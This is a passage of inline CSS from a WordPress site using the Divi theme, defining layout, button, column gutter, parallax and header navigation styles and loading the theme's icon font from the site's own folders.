.et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(https://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<style id="divi-dynamic-critical-inline-css">
@font-face{font-family:ETmodules;font-display:block;src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot);src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot?#iefix) format("embedded-opentype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.woff) format("woff"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.ttf) format("truetype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.svg#ETmodules) format("svg");font-weight:400;font-style:normal}
@media (min-width:981px){.et_pb_gutters3 .et_pb_column,.et_pb_gutters3.et_pb_row .et_pb_column{margin-right:5.5%}.et_pb_gutters3 .et_pb_column_4_4,.et_pb_gutters3.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters3 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:2.75%}.et_pb_gutters3 .et_pb_column_3_4,.et_pb_gutters3.et_pb_row .et_pb_column_3_4{width:73.625%}.et_pb_gutters3 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:3.735%}.et_pb_gutters3 .et_pb_column_2_3,.et_pb_gutters3.et_pb_row .et_pb_column_2_3{width:64.833%}.et_pb_gutters3 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:4.242%}.et_pb_gutters3 .et_pb_column_3_5,.et_pb_gutters3.et_pb_row .et_pb_column_3_5{width:57.8%}.et_pb_gutters3 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:4.758%}.et_pb_gutters3 .et_pb_column_1_2,.et_pb_gutters3.et_pb_row .et_pb_column_1_2{width:47.25%}.et_pb_gutters3 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:5.82%}.et_pb_gutters3 .et_pb_column_2_5,.et_pb_gutters3.et_pb_row .et_pb_column_2_5{width:36.7%}.et_pb_gutters3 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:7.493%}.et_pb_gutters3 .et_pb_column_1_3,.et_pb_gutters3.et_pb_row .et_pb_column_1_3{width:29.6667%}.et_pb_gutters3 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:9.27%}.et_pb_gutters3 .et_pb_column_1_4,.et_pb_gutters3.et_pb_row .et_pb_column_1_4{width:20.875%}.et_pb_gutters3 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:13.174%}.et_pb_gutters3 .et_pb_column_1_5,.et_pb_gutters3.et_pb_row .et_pb_column_1_5{width:15.6%}.et_pb_gutters3 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:17.628%}.et_pb_gutters3 .et_pb_column_1_6,.et_pb_gutters3.et_pb_row .et_pb_column_1_6{width:12.0833%}.et_pb_gutters3 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:22.759%}.et_pb_gutters3 .et_full_width_page.woocommerce-page ul.products li.product{width:20.875%;margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:28.353%;margin-right:7.47%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product{width:100%;margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product{width:48%;margin-right:4%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2){margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1){clear:none}}
@media (min-width:981px){.et_pb_gutter.et_pb_gutters1 #left-area{width:75%}.et_pb_gutter.et_pb_gutters1 #sidebar{width:25%}.et_pb_gutters1.et_right_sidebar #left-area{padding-right:0}.et_pb_gutters1.et_left_sidebar #left-area{padding-left:0}.et_pb_gutter.et_pb_gutters1.et_right_sidebar #main-content .container:before{right:25%!important}.et_pb_gutter.et_pb_gutters1.et_left_sidebar #main-content .container:before{left:25%!important}.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin-right:0}.et_pb_gutters1 .et_pb_column_4_4,.et_pb_gutters1.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters1 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_4,.et_pb_gutters1.et_pb_row .et_pb_column_3_4{width:75%}.et_pb_gutters1 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_3,.et_pb_gutters1.et_pb_row .et_pb_column_2_3{width:66.667%}.et_pb_gutters1 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_5,.et_pb_gutters1.et_pb_row .et_pb_column_3_5{width:60%}.et_pb_gutters1 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_2,.et_pb_gutters1.et_pb_row .et_pb_column_1_2{width:50%}.et_pb_gutters1 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_5,.et_pb_gutters1.et_pb_row .et_pb_column_2_5{width:40%}.et_pb_gutters1 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_3,.et_pb_gutters1.et_pb_row .et_pb_column_1_3{width:33.3333%}.et_pb_gutters1 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_4,.et_pb_gutters1.et_pb_row .et_pb_column_1_4{width:25%}.et_pb_gutters1 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_5,.et_pb_gutters1.et_pb_row .et_pb_column_1_5{width:20%}.et_pb_gutters1 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_6,.et_pb_gutters1.et_pb_row .et_pb_column_1_6{width:16.6667%}.et_pb_gutters1 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_full_width_page.woocommerce-page ul.products li.product{width:25%;margin-right:0;margin-bottom:0}.et_pb_gutters1.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters1.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:33.333%;margin-right:0}}@media (max-width:980px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_5col>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_5col>.et_pb_column.et_pb_column_1_5{width:50%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_6col>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_6col>.et_pb_column.et_pb_column_1_6{width:33.333%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6{width:50%;margin-right:0}}@media (max-width:767px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}@media (max-width:479px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin:0!important}.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}
#et-secondary-menu li,#top-menu li{word-wrap:break-word}.nav li ul,.et_mobile_menu{border-color:#2EA3F2}.mobile_menu_bar:before,.mobile_menu_bar:after,#top-menu li.current-menu-ancestor>a,#top-menu li.current-menu-item>a{color:#2EA3F2}#main-header{-webkit-transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s}#main-header.et-disabled-animations *{-webkit-transition-duration:0s !important;transition-duration:0s !important}.container{text-align:left;position:relative}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container{padding-top:111px}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled.et_header_style_centered #page-container{padding-top:177px}.et_fixed_nav.et_show_nav.et_header_style_centered #page-container{padding-top:147px}.et_fixed_nav #main-header{position:fixed}.et-cloud-item-editor #page-container{padding-top:0 !important}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;height:100%;width:100%}.et_header_style_left #et-top-navigation .mobile_menu_bar{padding-bottom:24px}.et_hide_search_icon #et_top_search{display:none !important}#logo{width:auto;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;margin-bottom:0;max-height:54%;display:inline-block;float:none;vertical-align:middle;-webkit-transform:translate3d(0, 0, 0)}.et_pb_svg_logo #logo{height:54%}.logo_container{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}span.logo_helper{display:inline-block;height:100%;vertical-align:middle;width:0}.safari .centered-inline-logo-wrap{-webkit-transform:translate3d(0, 0, 0);-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et-define-logo-wrap img{width:100%}.gecko #et-define-logo-wrap.svg-logo{position:relative !important}#top-menu-nav,#top-menu{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-cart-info 